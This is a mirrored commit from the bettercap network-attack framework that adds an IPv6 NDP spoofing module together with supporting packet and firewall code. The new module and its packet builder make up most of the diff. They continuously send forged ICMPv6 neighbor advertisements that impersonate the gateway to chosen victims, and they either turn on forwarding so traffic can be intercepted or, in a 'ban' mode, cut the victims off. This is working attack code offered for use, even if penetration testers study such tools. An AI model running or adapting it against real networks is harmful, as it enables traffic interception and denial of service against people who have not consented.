mirror of
https://github.com/bettercap/bettercap
synced 2025-07-05 20:42:09 -07:00
new: experimental ipv6 ndp spoofer (closes #851)
This commit is contained in:
parent
cbc1432358
commit
57436a811c
8 changed files with 256 additions and 13 deletions
|
@ -9,6 +9,7 @@ import (
|
||||||
"github.com/bettercap/bettercap/network"
|
"github.com/bettercap/bettercap/network"
|
||||||
|
|
||||||
"github.com/evilsocket/islazy/str"
|
"github.com/evilsocket/islazy/str"
|
||||||
|
"github.com/evilsocket/islazy/fs"
|
||||||
)
|
)
|
||||||
|
|
||||||
type LinuxFirewall struct {
|
type LinuxFirewall struct {
|
||||||
|
@ -19,6 +20,7 @@ type LinuxFirewall struct {
|
||||||
|
|
||||||
const (
|
const (
|
||||||
IPV4ForwardingFile = "/proc/sys/net/ipv4/ip_forward"
|
IPV4ForwardingFile = "/proc/sys/net/ipv4/ip_forward"
|
||||||
|
IPV6ForwardingFile = "/proc/sys/net/ipv6/conf/all/forwarding"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Make(iface *network.Endpoint) FirewallManager {
|
func Make(iface *network.Endpoint) FirewallManager {
|
||||||
|
@ -61,7 +63,12 @@ func (f LinuxFirewall) IsForwardingEnabled() bool {
|
||||||
}
|
}
|
||||||
|
|
||||||
func (f LinuxFirewall) EnableForwarding(enabled bool) error {
|
func (f LinuxFirewall) EnableForwarding(enabled bool) error {
|
||||||
return f.enableFeature(IPV4ForwardingFile, enabled)
|
if err := f.enableFeature(IPV4ForwardingFile, enabled); err != nil {
|
||||||
|
return err
|
||||||
|
} else if fs.Exists(IPV6ForwardingFile) {
|
||||||
|
return f.enableFeature(IPV6ForwardingFile, enabled)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) {
|
func (f *LinuxFirewall) getCommandLine(r *Redirection, enabled bool) (cmdLine []string) {
|
||||||
|
|
|
@ -19,6 +19,7 @@ import (
|
||||||
"github.com/bettercap/bettercap/modules/mac_changer"
|
"github.com/bettercap/bettercap/modules/mac_changer"
|
||||||
"github.com/bettercap/bettercap/modules/mdns_server"
|
"github.com/bettercap/bettercap/modules/mdns_server"
|
||||||
"github.com/bettercap/bettercap/modules/mysql_server"
|
"github.com/bettercap/bettercap/modules/mysql_server"
|
||||||
|
"github.com/bettercap/bettercap/modules/ndp_spoof"
|
||||||
"github.com/bettercap/bettercap/modules/net_probe"
|
"github.com/bettercap/bettercap/modules/net_probe"
|
||||||
"github.com/bettercap/bettercap/modules/net_recon"
|
"github.com/bettercap/bettercap/modules/net_recon"
|
||||||
"github.com/bettercap/bettercap/modules/net_sniff"
|
"github.com/bettercap/bettercap/modules/net_sniff"
|
||||||
|
@ -61,6 +62,7 @@ func LoadModules(sess *session.Session) {
|
||||||
sess.Register(wol.NewWOL(sess))
|
sess.Register(wol.NewWOL(sess))
|
||||||
sess.Register(hid.NewHIDRecon(sess))
|
sess.Register(hid.NewHIDRecon(sess))
|
||||||
sess.Register(c2.NewC2(sess))
|
sess.Register(c2.NewC2(sess))
|
||||||
|
sess.Register(ndp_spoof.NewNDPSpoofer(sess))
|
||||||
|
|
||||||
sess.Register(caplets.NewCapletsModule(sess))
|
sess.Register(caplets.NewCapletsModule(sess))
|
||||||
sess.Register(update.NewUpdateModule(sess))
|
sess.Register(update.NewUpdateModule(sess))
|
||||||
|
|
173
modules/ndp_spoof/ndp_spoof.go
Normal file
173
modules/ndp_spoof/ndp_spoof.go
Normal file
|
@ -0,0 +1,173 @@
|
||||||
|
package ndp_spoof
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/bettercap/bettercap/packets"
|
||||||
|
"github.com/evilsocket/islazy/str"
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bettercap/bettercap/session"
|
||||||
|
)
|
||||||
|
|
||||||
|
type NDPSpoofer struct {
|
||||||
|
session.SessionModule
|
||||||
|
gwAddress net.IP
|
||||||
|
addresses []net.IP
|
||||||
|
ban bool
|
||||||
|
waitGroup *sync.WaitGroup
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewNDPSpoofer(s *session.Session) *NDPSpoofer {
|
||||||
|
mod := &NDPSpoofer{
|
||||||
|
SessionModule: session.NewSessionModule("ndp.spoof", s),
|
||||||
|
addresses: make([]net.IP, 0),
|
||||||
|
ban: false,
|
||||||
|
waitGroup: &sync.WaitGroup{},
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.SessionModule.Requires("net.recon")
|
||||||
|
|
||||||
|
mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 addresses, "+
|
||||||
|
"MAC addresses or aliases to spoof."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewStringParameter("ndp.spoof.gateway", "fe80::1", "", "Gateway address to spoof."))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "",
|
||||||
|
"Start NDP spoofer.",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.Start()
|
||||||
|
}))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("ndp.ban on", "",
|
||||||
|
"Start NDP spoofer in ban mode, meaning the target(s) connectivity will not work.",
|
||||||
|
func(args []string) error {
|
||||||
|
mod.ban = true
|
||||||
|
return mod.Start()
|
||||||
|
}))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("ndp.spoof off", "",
|
||||||
|
"Stop NDP spoofer.",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.Stop()
|
||||||
|
}))
|
||||||
|
|
||||||
|
mod.AddHandler(session.NewModuleHandler("ndp.ban off", "",
|
||||||
|
"Stop NDP spoofer.",
|
||||||
|
func(args []string) error {
|
||||||
|
return mod.Stop()
|
||||||
|
}))
|
||||||
|
|
||||||
|
return mod
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod NDPSpoofer) Name() string {
|
||||||
|
return "ndp.spoof"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod NDPSpoofer) Description() string {
|
||||||
|
return "Keep spoofing selected hosts on the network by sending spoofed NDP router advertisements."
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod NDPSpoofer) Author() string {
|
||||||
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *NDPSpoofer) Configure() error {
|
||||||
|
var err error
|
||||||
|
var gwaddr, targets string
|
||||||
|
|
||||||
|
if err, gwaddr = mod.StringParam("ndp.spoof.gateway"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if mod.gwAddress = net.ParseIP(gwaddr); mod.gwAddress == nil {
|
||||||
|
return fmt.Errorf("can't parse gateway address %s", gwaddr)
|
||||||
|
} else if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.addresses = make([]net.IP, 0)
|
||||||
|
for _, addr := range str.Comma(targets) {
|
||||||
|
if ip := net.ParseIP(addr); ip != nil {
|
||||||
|
mod.addresses = append(mod.addresses, ip)
|
||||||
|
} else {
|
||||||
|
return fmt.Errorf("can't parse ip %s", addr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.Debug(" addresses=%v", mod.addresses)
|
||||||
|
|
||||||
|
if mod.ban {
|
||||||
|
mod.Warning("running in ban mode, forwarding not enabled!")
|
||||||
|
mod.Session.Firewall.EnableForwarding(false)
|
||||||
|
} else if !mod.Session.Firewall.IsForwardingEnabled() {
|
||||||
|
mod.Info("enabling forwarding")
|
||||||
|
mod.Session.Firewall.EnableForwarding(true)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *NDPSpoofer) Start() error {
|
||||||
|
if err := mod.Configure(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
nTargets := len(mod.addresses)
|
||||||
|
if nTargets == 0 {
|
||||||
|
mod.Warning("list of targets is empty, module not starting.")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return mod.SetRunning(true, func() {
|
||||||
|
mod.Info("ndp spoofer started, probing %d targets.", nTargets)
|
||||||
|
|
||||||
|
mod.waitGroup.Add(1)
|
||||||
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
|
for mod.Running() {
|
||||||
|
for ip, mac := range mod.getTargets(true) {
|
||||||
|
|
||||||
|
srcHW := mod.Session.Interface.HW
|
||||||
|
srcIP := mod.gwAddress
|
||||||
|
dstHW := mac
|
||||||
|
dstIP := net.ParseIP(ip)
|
||||||
|
|
||||||
|
mod.Debug("neigh_hw(ours)=%s src_ip(neigh)=%s victim_hw=%s victim_ip=%s", srcHW, srcIP, dstHW, dstIP)
|
||||||
|
|
||||||
|
if err, packet := packets.ICMP6RouterAdvertisement(srcHW, srcIP, dstHW, dstIP, srcIP); err != nil {
|
||||||
|
mod.Error("error creating packet: %v", err)
|
||||||
|
} else if err = mod.Session.Queue.Send(packet); err != nil {
|
||||||
|
mod.Error("error while sending packet: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
time.Sleep(1 * time.Second)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *NDPSpoofer) Stop() error {
|
||||||
|
return mod.SetRunning(false, func() {
|
||||||
|
mod.Info("waiting for NDP spoofer to stop ...")
|
||||||
|
mod.ban = false
|
||||||
|
mod.waitGroup.Wait()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *NDPSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
|
||||||
|
targets := make(map[string]net.HardwareAddr)
|
||||||
|
|
||||||
|
// add targets specified by IP address
|
||||||
|
for _, ip := range mod.addresses {
|
||||||
|
if mod.Session.Skip(ip) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// do we have this ip mac address?
|
||||||
|
if hw, err := mod.Session.FindMAC(ip, probe); err == nil {
|
||||||
|
targets[ip.String()] = hw
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return targets
|
||||||
|
}
|
|
@ -112,6 +112,8 @@ func ParseTargets(targets string, aliasMap *data.UnsortedKV) (ips []net.IP, macs
|
||||||
}
|
}
|
||||||
targets = strings.Trim(targets, ", ")
|
targets = strings.Trim(targets, ", ")
|
||||||
|
|
||||||
|
fmt.Printf("targets=%s macs=%#v\n", targets, macs)
|
||||||
|
|
||||||
// check and resolve aliases
|
// check and resolve aliases
|
||||||
for _, targetAlias := range aliasParser.FindAllString(targets, -1) {
|
for _, targetAlias := range aliasParser.FindAllString(targets, -1) {
|
||||||
found := false
|
found := false
|
||||||
|
@ -137,7 +139,7 @@ func ParseTargets(targets string, aliasMap *data.UnsortedKV) (ips []net.IP, macs
|
||||||
if targets != "" {
|
if targets != "" {
|
||||||
list, err := iprange.ParseList(targets)
|
list, err := iprange.ParseList(targets)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, nil, fmt.Errorf("error while parsing address list '%s': %s.", targets, err)
|
return nil, nil, fmt.Errorf("error while parsing address list '%s': %s", targets, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
ips = list.Expand()
|
ips = list.Expand()
|
||||||
|
|
38
packets/icmp6.go
Normal file
38
packets/icmp6.go
Normal file
|
@ -0,0 +1,38 @@
|
||||||
|
package packets
|
||||||
|
|
||||||
|
import (
|
||||||
|
"github.com/google/gopacket/layers"
|
||||||
|
"net"
|
||||||
|
)
|
||||||
|
|
||||||
|
func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) {
|
||||||
|
eth := layers.Ethernet{
|
||||||
|
SrcMAC: srcHW,
|
||||||
|
DstMAC: dstHW,
|
||||||
|
EthernetType: layers.EthernetTypeIPv6,
|
||||||
|
}
|
||||||
|
ip6 := layers.IPv6{
|
||||||
|
NextHeader: layers.IPProtocolICMPv6,
|
||||||
|
TrafficClass: 224,
|
||||||
|
Version: 6,
|
||||||
|
HopLimit: 255,
|
||||||
|
SrcIP: srcIP,
|
||||||
|
DstIP: dstIP,
|
||||||
|
}
|
||||||
|
icmp6 := layers.ICMPv6{
|
||||||
|
TypeCode: layers.ICMPv6TypeNeighborAdvertisement << 8,
|
||||||
|
}
|
||||||
|
adv := layers.ICMPv6NeighborAdvertisement{
|
||||||
|
Flags: 0x20 | 0x40, // solicited && override
|
||||||
|
TargetAddress: routerIP,
|
||||||
|
Options: []layers.ICMPv6Option{
|
||||||
|
{
|
||||||
|
Type: layers.ICMPv6OptTargetAddress,
|
||||||
|
Data: srcHW,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
icmp6.SetNetworkLayerForChecksum(&ip6)
|
||||||
|
|
||||||
|
return Serialize(ð, &ip6, &icmp6, &adv)
|
||||||
|
}
|
|
@ -12,21 +12,35 @@ func NewUDPProbe(from net.IP, from_hw net.HardwareAddr, to net.IP, port int) (er
|
||||||
EthernetType: layers.EthernetTypeIPv4,
|
EthernetType: layers.EthernetTypeIPv4,
|
||||||
}
|
}
|
||||||
|
|
||||||
ip4 := layers.IPv4{
|
|
||||||
Protocol: layers.IPProtocolUDP,
|
|
||||||
Version: 4,
|
|
||||||
TTL: 64,
|
|
||||||
SrcIP: from,
|
|
||||||
DstIP: to,
|
|
||||||
}
|
|
||||||
|
|
||||||
udp := layers.UDP{
|
udp := layers.UDP{
|
||||||
SrcPort: layers.UDPPort(12345),
|
SrcPort: layers.UDPPort(12345),
|
||||||
DstPort: layers.UDPPort(port),
|
DstPort: layers.UDPPort(port),
|
||||||
}
|
}
|
||||||
udp.Payload = []byte{0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef}
|
udp.Payload = []byte{0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef}
|
||||||
|
|
||||||
udp.SetNetworkLayerForChecksum(&ip4)
|
if to.To4() == nil {
|
||||||
|
ip6 := layers.IPv6{
|
||||||
|
NextHeader: layers.IPProtocolUDP,
|
||||||
|
Version: 6,
|
||||||
|
SrcIP: from,
|
||||||
|
DstIP: to,
|
||||||
|
HopLimit: 64,
|
||||||
|
}
|
||||||
|
|
||||||
return Serialize(ð, &ip4, &udp)
|
udp.SetNetworkLayerForChecksum(&ip6)
|
||||||
|
|
||||||
|
return Serialize(ð, &ip6, &udp)
|
||||||
|
} else {
|
||||||
|
ip4 := layers.IPv4{
|
||||||
|
Protocol: layers.IPProtocolUDP,
|
||||||
|
Version: 4,
|
||||||
|
TTL: 64,
|
||||||
|
SrcIP: from,
|
||||||
|
DstIP: to,
|
||||||
|
}
|
||||||
|
|
||||||
|
udp.SetNetworkLayerForChecksum(&ip4)
|
||||||
|
|
||||||
|
return Serialize(ð, &ip4, &udp)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -95,6 +95,7 @@ func (p ModuleParam) validate(value string) (error, interface{}) {
|
||||||
const ParamIfaceName = "<interface name>"
|
const ParamIfaceName = "<interface name>"
|
||||||
const ParamIfaceAddress = "<interface address>"
|
const ParamIfaceAddress = "<interface address>"
|
||||||
const ParamIfaceAddress6 = "<interface address6>"
|
const ParamIfaceAddress6 = "<interface address6>"
|
||||||
|
const ParamIfaceMac = "<interface mac>"
|
||||||
const ParamSubnet = "<entire subnet>"
|
const ParamSubnet = "<entire subnet>"
|
||||||
const ParamRandomMAC = "<random mac>"
|
const ParamRandomMAC = "<random mac>"
|
||||||
|
|
||||||
|
@ -108,6 +109,8 @@ func (p ModuleParam) parse(s *Session, v string) string {
|
||||||
v = s.Interface.IpAddress
|
v = s.Interface.IpAddress
|
||||||
case ParamIfaceAddress6:
|
case ParamIfaceAddress6:
|
||||||
v = s.Interface.Ip6Address
|
v = s.Interface.Ip6Address
|
||||||
|
case ParamIfaceMac:
|
||||||
|
v = s.Interface.HwAddress
|
||||||
case ParamSubnet:
|
case ParamSubnet:
|
||||||
v = s.Interface.CIDR()
|
v = s.Interface.CIDR()
|
||||||
case ParamRandomMAC:
|
case ParamRandomMAC:
|
||||||
|
|
|
@ -305,7 +305,7 @@ func (s *Session) Start() error {
|
||||||
func (s *Session) Skip(ip net.IP) bool {
|
func (s *Session) Skip(ip net.IP) bool {
|
||||||
if ip.IsLoopback() {
|
if ip.IsLoopback() {
|
||||||
return true
|
return true
|
||||||
} else if ip.Equal(s.Interface.IP) {
|
} else if ip.Equal(s.Interface.IP) || ip.Equal(s.Interface.IPv6){
|
||||||
return true
|
return true
|
||||||
} else if ip.Equal(s.Gateway.IP) {
|
} else if ip.Equal(s.Gateway.IP) {
|
||||||
return true
|
return true
|
||||||
|
@ -324,6 +324,10 @@ func (s *Session) FindMAC(ip net.IP, probe bool) (net.HardwareAddr, error) {
|
||||||
from := s.Interface.IP
|
from := s.Interface.IP
|
||||||
from_hw := s.Interface.HW
|
from_hw := s.Interface.HW
|
||||||
|
|
||||||
|
if ip.To4() == nil {
|
||||||
|
from = s.Interface.IPv6
|
||||||
|
}
|
||||||
|
|
||||||
if err, probe := packets.NewUDPProbe(from, from_hw, ip, 139); err != nil {
|
if err, probe := packets.NewUDPProbe(from, from_hw, ip, 139); err != nil {
|
||||||
log.Error("Error while creating UDP probe packet for %s: %s", ip.String(), err)
|
log.Error("Error while creating UDP probe packet for %s: %s", ip.String(), err)
|
||||||
} else {
|
} else {
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue